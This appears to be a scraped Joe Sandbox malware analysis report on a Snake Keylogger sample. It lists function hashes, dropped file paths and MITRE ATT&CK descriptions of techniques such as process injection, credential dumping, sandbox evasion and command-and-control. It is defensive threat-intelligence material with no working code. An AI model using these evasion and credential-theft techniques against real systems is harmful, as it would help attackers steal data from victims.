Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60b57e93cd0777e5cef9840c607ba685eba5ae31251c4e9ac95ef8c496428f33
Instruction ID: e3dda2814df78a07de650f975462782a992a69445f76eda0cceb10148aa220b0
Opcode Fuzzy Hash: 60b57e93cd0777e5cef9840c607ba685eba5ae31251c4e9ac95ef8c496428f33
Instruction Fuzzy Hash: BEC0123350C0642D9735005D3C81DFB5B5DC3C53B5A2501B7F95CD32019C464C8541A4

Function 0094AFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38f3573cfa05fbfa73574a00d2d9f5d6365c82d58815d2d532a502e049542811
Instruction ID: f1a8b62c80f33c451c422f03bcd280d7b7870af5d319824306d62f4faac77846
Opcode Fuzzy Hash: 38f3573cfa05fbfa73574a00d2d9f5d6365c82d58815d2d532a502e049542811
Instruction Fuzzy Hash: 9CD0673AB400089FCB049F99E8449DDF776FB98221B048516E915A3264C6319925DB60

Function 00946745 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d551081f5151bafe91c69a3cfcf96ebf4f5dc8702d39ec81d2006087b4c6a363
Instruction ID: 4896cf1ba6e7f12a6753a7e0cda6967b1804f026f15719f1cc79756fd9b04895
Opcode Fuzzy Hash: d551081f5151bafe91c69a3cfcf96ebf4f5dc8702d39ec81d2006087b4c6a363
Instruction Fuzzy Hash: 3FD012396443144FD741FB64D84855A3B57BAD4101710D610A4150568FDF7959464B51

Function 00946748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbc9c47b9fcec74ff4e38ba053d77161b91bba40067041967027a71419e4580f
Instruction ID: 440f65f86559663f8be823bdeceddc1ddcab8f5dcab391a2229bb3f6f2945fb4
Opcode Fuzzy Hash: dbc9c47b9fcec74ff4e38ba053d77161b91bba40067041967027a71419e4580f
Instruction Fuzzy Hash: B2C080351443184FD741FB75DC495173B1FFAD0501740C610A4050664FDF7C2D454B95

Non-executed Functions

Function 25D40040 Relevance: .6, Instructions: 596COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2699849835.0000000025D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 25D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_25d40000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3eac4dc5d3372feb7aa4bd88daca1fcd24576ac19e52f55c2ed56b1de0944cdd
Instruction ID: 34d0d6ab300077a61ada2eeb8062a09fe585ae452714cafbb5ea5acadbeb91ab
Opcode Fuzzy Hash: 3eac4dc5d3372feb7aa4bd88daca1fcd24576ac19e52f55c2ed56b1de0944cdd
Instruction Fuzzy Hash: F252AC75E01228CFDB64DF65C884BADBBB2BB89301F5081E9D409AB355DB35AE81CF50

Function 0094F631 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fb4ead81fe87f34b30d55ef851e0b118023e4750451ca8e8cf9084de01ca0ad
Instruction ID: 8748f5c999354d126cdf1a626fbf8ec8750d7162d7697be3d57f551ffa64fad1
Opcode Fuzzy Hash: 9fb4ead81fe87f34b30d55ef851e0b118023e4750451ca8e8cf9084de01ca0ad
Instruction Fuzzy Hash: 7AC1BF75E00218CFDB14DFA9C994BADBBB2BF89300F2481A9D409AB355DB359E85CF50

Function 0094FA8D Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2679387230.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_940000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21efad4f654d4807d30560fcf7618def13a3b9f9987abf76d982229f4e8f6502
Instruction ID: 40ad7ff8521bc4d9ff7bbfa1ab11fc87c805a89ec52835d3fc58c8ec3d76f5ef
Opcode Fuzzy Hash: 21efad4f654d4807d30560fcf7618def13a3b9f9987abf76d982229f4e8f6502
Instruction Fuzzy Hash: 1CC1B075E00218CFDB14DFA5C994B9DBBB2BB89300F2081A9D409AB365DB359E85DF50

Function 25D4D9A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2699849835.0000000025D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 25D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_25d40000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 917fa06cbdf6e7173d32e9bf90e3b7bca9ac5e664f0ba89c55226ba34fc4f37e
Instruction ID: 48e5caf53c05a8e5e42f4f82c1b78b3dacc70da3fce0ae3e827f1aae754079ef
Opcode Fuzzy Hash: 917fa06cbdf6e7173d32e9bf90e3b7bca9ac5e664f0ba89c55226ba34fc4f37e
Instruction Fuzzy Hash: 69C19F75E00218CFDB14EFA5C954B9DBBB2BF89300F2481A9D809AB355DB35AE85CF50

Function 25D4D550 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2699849835.0000000025D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 25D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_25d40000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b7847db507cbfce0ba7d4891129320f869acb2ff0cbabeac168bafb41e21798
Instruction ID: 42e874a9e436cb9f65123e4daff8171157e733a180d62a6d16f5a3855812d2d8
Opcode Fuzzy Hash: 5b7847db507cbfce0ba7d4891129320f869acb2ff0cbabeac168bafb41e21798
Instruction Fuzzy Hash: 2EC19F75E00218CFEB14DFA5C994B9DBBB2BF89300F2081A9D409AB355DB35AE85CF50

Function 25D4D0F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2699849835.0000000025D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 25D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_25d40000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04919810331b7257f4ea7c91d0d43e63e7148c0ebc69b5560ca8267b87a09a44
Instruction ID: dfb970f08e706803957df1e89a1e4c4675b0611e49268430de762f1f8e69c4fd
Opcode Fuzzy Hash: 04919810331b7257f4ea7c91d0d43e63e7148c0ebc69b5560ca8267b87a09a44
Instruction Fuzzy Hash: D2C18075E00218CFDB14DFA5C994B9DBBB2BF89300F2081A9D409AB355DB35AE85DF50

Function 25D4CCA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2699849835.0000000025D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 25D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_25d40000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25c5421fb7e435c71a234de85e9260322ef4d898205abe8d0ddc7537af3e9a6b
Instruction ID: 73ce3010e45cd358d2cc622d62d3e5e9d239da1dc9061fb8cc9c9caa0dd860d7
Opcode Fuzzy Hash: 25c5421fb7e435c71a234de85e9260322ef4d898205abe8d0ddc7537af3e9a6b
Instruction Fuzzy Hash: E9C19F75E00218CFDB14DFA5C954BADBBB2BB89300F2081A9D809AB365DB359E85DF50

Function 25D4F810 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2699849835.0000000025D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 25D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_25d40000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f34ac3b42930f3c39e2459476753e950675742a8365fd6aae8e21eb646acd3c2
Instruction ID: 54f3bf3bff52697f2937a43d3c8c324c110049f0debaa237a36b19114a049bbd
Opcode Fuzzy Hash: f34ac3b42930f3c39e2459476753e950675742a8365fd6aae8e21eb646acd3c2
Instruction Fuzzy Hash: 15C18F75E00218CFDB14DFA5C994B9DBBB2FB89300F2081A9D809AB365DB359E85DF50

Function 25D4F3B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2699849835.0000000025D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 25D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_25d40000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63966fc9e341df004bc386ef9b35ed8f2c7399cfef649f7d7e758bc4e775cc6f
Instruction ID: ab68e9aded7e6ee43e8299a6748d8ad5249ec833cf17dd36203ccc61f5ad499c
Opcode Fuzzy Hash: 63966fc9e341df004bc386ef9b35ed8f2c7399cfef649f7d7e758bc4e775cc6f
Instruction Fuzzy Hash: 09C18F75E00218CFDB14DFA5C994B9DBBB2BF89300F2081A9D409AB365DB359E85DF50

Function 25D4EF60 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2699849835.0000000025D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 25D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_25d40000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c4d7f08fd24929b1a7617902c9b74ef789e1564060906cc2e27e98adc857695
Instruction ID: 82bbcdb5fb5f34e9f02c87b04ac90c274c10dc08b15e5133b12d2d105c2b9c6d
Opcode Fuzzy Hash: 9c4d7f08fd24929b1a7617902c9b74ef789e1564060906cc2e27e98adc857695
Instruction Fuzzy Hash: 9FC19F75E00218CFDB14DFA5C994B9DBBB2FB89300F2481A9D409AB365DB35AE85CF50

Function 25D4EB08 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2699849835.0000000025D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 25D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_25d40000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1137898e0b807fd4ba66958e6c774cb87c320a4101fa79434365b6076ea4d6c8
Instruction ID: a7e26344b0af17746359d8dcb4ac226a85496f95c4ed622753e110d8316e6500
Opcode Fuzzy Hash: 1137898e0b807fd4ba66958e6c774cb87c320a4101fa79434365b6076ea4d6c8
Instruction Fuzzy Hash: E8C19E75E00218CFDB14DFA5C944B9DBBB2FB89300F2081A9D809AB365DB35AE85CF51

Function 25D4E6B0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2699849835.0000000025D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 25D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_25d40000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 554616f3bd4251452860467e0a6f3defe8c804c6def159d77d7a4674d484385e
Instruction ID: 49c155e133e37262bc78eb3cf5e90a17782bb94090a23b0cc92c88f517732af6
Opcode Fuzzy Hash: 554616f3bd4251452860467e0a6f3defe8c804c6def159d77d7a4674d484385e
Instruction Fuzzy Hash: 43C19E75E00218CFEB14DFA5C994B9DBBB2FB89300F2081A9D409AB355DB35AE85CF51

Function 25D4E258 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2699849835.0000000025D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 25D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_25d40000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0ed3678713e7ac4da22202222910421341ea3870451eeeb478aa72cd19a4344
Instruction ID: a6caf7f44049d964fdfbb8bebefc82a296d796e5405c14b19e17875d262d241d
Opcode Fuzzy Hash: e0ed3678713e7ac4da22202222910421341ea3870451eeeb478aa72cd19a4344
Instruction Fuzzy Hash: F4C19E75E00218CFDB14DFA5C994B9DBBB2FB89300F2081A9D409AB355DB35AE85CF51

Function 25D4DE00 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2699849835.0000000025D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 25D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_25d40000_wabmig.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8abb07287465eeaf4e93fd1dc79723fc718184160c2d2b9855144c61930480d
Instruction ID: 0c4c0d858364a6ecb3bc90f29c881f6be47000e46f005914db1e44ebfd4cbe2e
Opcode Fuzzy Hash: d8abb07287465eeaf4e93fd1dc79723fc718184160c2d2b9855144c61930480d
Instruction Fuzzy Hash: 26C19E75E00218CFDB14DFA5C994B9DBBB2FB89300F2481A9D409AB355DB35AE85CF50

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2crrhbxx.mhi.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mbvr5gzv.hbs.ps1

C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll

C:\Users\user\AppData\Local\acneform\Camomiles.Bev

C:\Users\user\AppData\Local\acneform\Tjenestepligterne\file.exe

C:\Users\user\AppData\Local\acneform\Tjenestepligterne\file.exe:Zone.Identifier

C:\Users\user\AppData\Local\acneform\Tjenestepligterne\rettersted.bef

C:\Users\user\AppData\Local\acneform\Tjenestepligterne\xenosaurid.txt

C:\Users\user\AppData\Local\acneform\Tvangsforflytnings.Fus

C:\Users\user\AppData\Local\acneform\afplingen.che

C:\Users\user\AppData\Local\acneform\forlggere.bov

Static File Info

Windows Analysis Report
file.exe

Function 6FF61096 Relevance: 116.1, APIs: 56, Strings: 10, Instructions: 627
filestringmemoryCOMMON

Function 00403532 Relevance: 81.0, APIs: 32, Strings: 14, Instructions: 464
stringfilecomCOMMON

Function 0040571B Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Function 00405C63 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 00403FD7 Relevance: 51.4, APIs: 34, Instructions: 357
windowstringCOMMON

Function 00403C29 Relevance: 42.2, APIs: 13, Strings: 11, Instructions: 215
stringregistryCOMMON

Function 00403082 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 181
memoryCOMMON

Function 00406594 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 204
stringCOMMON

Function 004032B9 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 166
COMMON

Function 00401774 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 004055DC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre